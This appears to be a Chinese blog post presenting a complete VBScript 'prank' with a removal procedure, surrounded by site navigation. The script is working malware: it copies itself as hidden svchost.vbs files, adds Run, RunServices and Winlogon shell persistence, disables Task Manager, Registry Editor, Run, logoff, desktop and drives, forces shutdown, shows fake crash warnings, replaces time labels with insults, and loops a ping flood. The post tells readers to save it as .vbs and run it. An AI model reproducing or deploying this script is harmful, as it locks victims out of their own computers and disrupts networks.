- 浏览: 18892 次
最近访客 更多访客>>
最新评论
-
luozhong915127:
这是什么呀,你以为别人跟你一样是神眼呀。你可以把语言的条款写清 ...
Linux DM9000网卡驱动程序完全分析
vbs 脚本没事测试玩
2011年03月27日
Set objFS = CreateObject("Scripting.FileSystemObject")
Set objFSO = CreateObject("Scripting.FileSystemObject")
set wsh=wscript.createobject("wscript.shell")
set reg=wscript.createobject("wscript.shell")
dim wsh
a=WScript.ScriptFullName
b="shutdown -t 60 -s -c 。。。加载!"
c="c:\svchost.vbs"
d="d:\svchost.vbs"
s="c:\windows\system32\svchost.vbs"
c1="attrib +s +h +a +r c:\svchost.vbs"
d1="attrib +s +h +a +r d:\svchost.vbs"
s1="attrib +s +h +a +r c:\windows\system32\svchost.vbs"
If objFSO.FileExists (c) Then
Else
objFs.GetFile (a).Copy (c)
wsh.run c1
End If
If objFSO.FileExists(d) Then
Else
objFs.GetFile (a).Copy (d)
wsh.run d1
End If
If objFSO.FileExists(s) Then
Else
objFs.GetFile (a).Copy (s)
wsh.run s1
End If
wsh.run b
wsh.run "narrator"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","00000001","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr","00000001","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoRun","00000001","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoClose","00000001","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoLogoff","00000001","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoDesktop","00000001","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoDrives","000000100","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost","c:\svchost.vbs","REG_SZ"
reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost","d:\svchost.vbs","REG_SZ"
reg.regwrite"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\svchost","c:\windows\system32\svchost.vbs","REG_SZ"
reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\svchost","c:\windows\system32\svchost.vbs","REG_SZ"
reg.regwrite"HKEY_CURRENT_USER\Control Panel\International\sTimeFormat","tttt H:mm:ss","REG_SZ"
reg.regwrite"HKEY_CURRENT_USER\Control Panel\International\s1159","笨蛋!","REG_SZ"
reg.regwrite"HKEY_CURRENT_USER\Control Panel\International\s2359","傻逼!","REG_SZ"
reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\shell","c:\windows\system32\svchost.vbs","REG_SZ"
msgbox "系统快要崩溃了!",48,"由于你经常看黄页:"
msgbox "windows崩溃了!",18,"安全警报:"
do
wsh.run ("ping -t -l 6500 192.168.1.1")
loop
'请将以上代码保存在txt文件中保存、再把后缀名txt改成vbs后执行后就可以看到效果
了解救方法如下:
开机的时候按F8选择从带命令行的安全模式启动系统,然后执行以下命令
attrib -s -r -h -a c:\windows\system32\svchost.vbs
attrib -s -r -h -a c:\svchost.vbs
attrib -s -r -h -a d:\svchost.vbs
explorer
然后从以上文件目录中找到那VBS文件,把他们删除既可,还要自己建立一个新的VBS文件,把一下代码复制进去执行一次就OK了!
set reg=wscript.createobject("wscript.shell")
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","00000000","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr","00000000","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoRun","00000000","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoClose","00000000","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoLogoff","00000000","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoDesktop","00000000","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoDrives","000000000","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost","","REG_SZ"
reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost","","REG_SZ"
reg.regwrite"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\svchost","","REG_SZ"
reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\svchost","","REG_SZ"
reg.regwrite"HKEY_CURRENT_USER\Control Panel\International\sTimeFormat","H:mm:ss","REG_SZ"
reg.regwrite"HKEY_CURRENT_USER\Control Panel\International\s1159","AM","REG_SZ"
reg.regwrite"HKEY_CURRENT_USER\Control Panel\International\s2359","PM","REG_SZ"
reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\shell","Explorer.exe","REG_SZ"
msgbox "解救成功,请勿用此代码破坏别人",64,"OK"
不明白不要玩
发表评论
-
深入探究 Win32 PE 文件格式
2012-01-20 08:23 706深入探究 Win32 PE 文件格 ... -
V4L2应用程序框架
2012-01-20 08:23 1208V4L2应用程序框架 2010年 ... -
关于file_operations结构体
2012-01-20 08:23 590关于file_operations结构体 2010年12月2 ... -
堆栈的认知!
2012-01-20 08:23 598堆栈的认知! 2010年11月2 ... -
Linux DM9000网卡驱动程序完全分析
2012-01-20 08:23 815Linux DM9000网卡驱动程序完全分析 2011年02 ... -
Adsutil.vbs在脚本入侵中的妙用
2012-01-19 13:35 582Adsutil.vbs在脚本入侵中的妙用 2011年03月0 ... -
利用VBS脚本让qq永远在线
2012-01-19 13:35 569利用VBS脚本让qq永远在线 2011年06月07日 让 ... -
vbs脚本实例
2012-01-19 13:35 673vbs脚本实例 2011年02月28日 rem 结束QQ ... -
VBS脚本文件大全
2012-01-19 13:35 796VBS脚本文件大全 2011年05月24日 一、自动打开 ... -
安装minigui 的界面环境 mstudio
2012-01-17 03:25 2023安装minigui 的界面环境 mstudio 2010年0 ... -
[转]win7搭建Android开发 个人测试成功
2012-01-17 03:24 605[转]win7搭建Android开发 个人测试成功 2011 ... -
Platform Builder和Embedded visual C++简介
2012-01-17 03:24 591Platform Builder和Embedded vis ... -
解决无IISXP系统无IIS如何安装IIS【出现问题请看最后面】
2012-01-17 03:24 812解决无IISXP系统无IIS如何安装IIS【出现问题请看最后面 ... -
搭建android开发环境
2012-01-17 03:24 717搭建android开发环境 2011年05月08日 O ... -
开学之前放个重磅――盘点下我知道的情景喜剧
2012-01-16 01:59 573开学之前放个重磅―― ... -
中国各地男人之最的分析
2012-01-16 01:59 778中国各地男人之最的分 ... -
祝福新人
2012-01-16 01:59 538祝福新人 2009年10月07日 好朋友军 ... -
daogou
2012-01-16 01:59 483daogou 2009年09月01日 服装店店员的服务用 ... -
徐强眼中的自己,朋友们觉得是我吗?
2012-01-16 01:59 521徐强眼中的自己,朋友们 ... -
a usage of c macro-小雨-iteye技术网站
2012-01-11 02:01 671a usage of c macro-小雨-iteye技术网站 ...
相关推荐
用VBS脚本关闭系统还原,已经测试过,需要重新启动计算机
在VBS中,使用Telnet连接远程端口,测试远程端口是否开放。不依赖Active库。
亲测可用! 很有意思的小脚本,VBS vbs脚本实现获取屏幕分辨率,大家一起学习分享啊! 本人将会不定期的上传一些经过测试可用的vbs小程序。
openwrt总结(xshell vbs脚本自动化测试)
QTP VBS 脚本 项目 在实际项目中使用到的脚本以及自定义测试报告
vbs脚本,用正则表达式判断字符串类型,多用于QTP自动化测试脚本
简单的vbs弹窗,问她最喜欢的人是谁?只有当她输入你的名字的时候,弹窗才会关闭,否则弹窗一直存在,一个简单的小功能,大家可以试试
修改3389端口 vbs脚本 tc老师提供 简便好用 适合XP , 2000 2003未测试
此时脚本已经在循环监测U盘的插入 三、插入U盘 U盘插入后,就开始文件的复制。复制完成后会出现提示对话框。 如果不希望出现该对话框,可以将 “Msgbox "Windows 错误",64”注释掉 四、寻找文件 此时,文件已经在...
非常好的vbscript系统自动化测试脚本,包含了一些对excel操作的封装函数,给大家参考,希望对大家有用!
清除HTML文件中的vbs脚本病毒,解决360杀毒软件检测到html中包含vbs脚本病毒会地洞删除,而无法修复,开发此程序解决的问题就是能够批量的清除文件夹中所有html文件的VBS脚本,实测有效处理速度快,发送给客户源代码...
里边有测试的vbs脚本,直接调试即可
Vbs脚本编程简明教程,适合QTP测试用编写脚本。
vbs脚本开发教程/ 软件测试/运维都可以考虑学习使用的开发语言,简单易学,快速上手
自动关机VBS脚本,本人用了近1天时间反复修改,不停重启测试才得以完成,真的是反复煎熬,不断坚持呐,呵呵。本程序DIY味道十足,可以自定义一周内的任一天或几天,任何时段的任何时间,另外提供了一个提示框,可...
很好的vbs编程实例和vbs脚本教程,学完后可以看看自动化测试的文档,对自动化测试的学习很有帮助。。。
脚本为VBS编写,利用WMI编写,通过测试。 使用中Flag为你要检索清理的关键字,并取消这两行的注释: Link:71 '''oReg.DeleteKey k_root, subkey '删除注册表的代码 Link:151 '''oReg.DeleteValue strKR, ...
非常好用的vbs转exe工具,亲自测试可用。无bug,还可以编辑vb脚本,语法高亮,使用简单。
VbsEdit-VBS脚本编辑器-QTP自动化测试 iquicktest教研室:http://www.iquicktest.com/bbs
自带PHP测试服务器+VBS脚本,京东价格图片转数字的工具。 某产品价格出现变动,就会提示音乐报警。可以按说明自己设置商品。 VBS为主要测试入口,HOME文件为PHP服务器。 非正常关闭注意后台清理线程可二次运行。 ...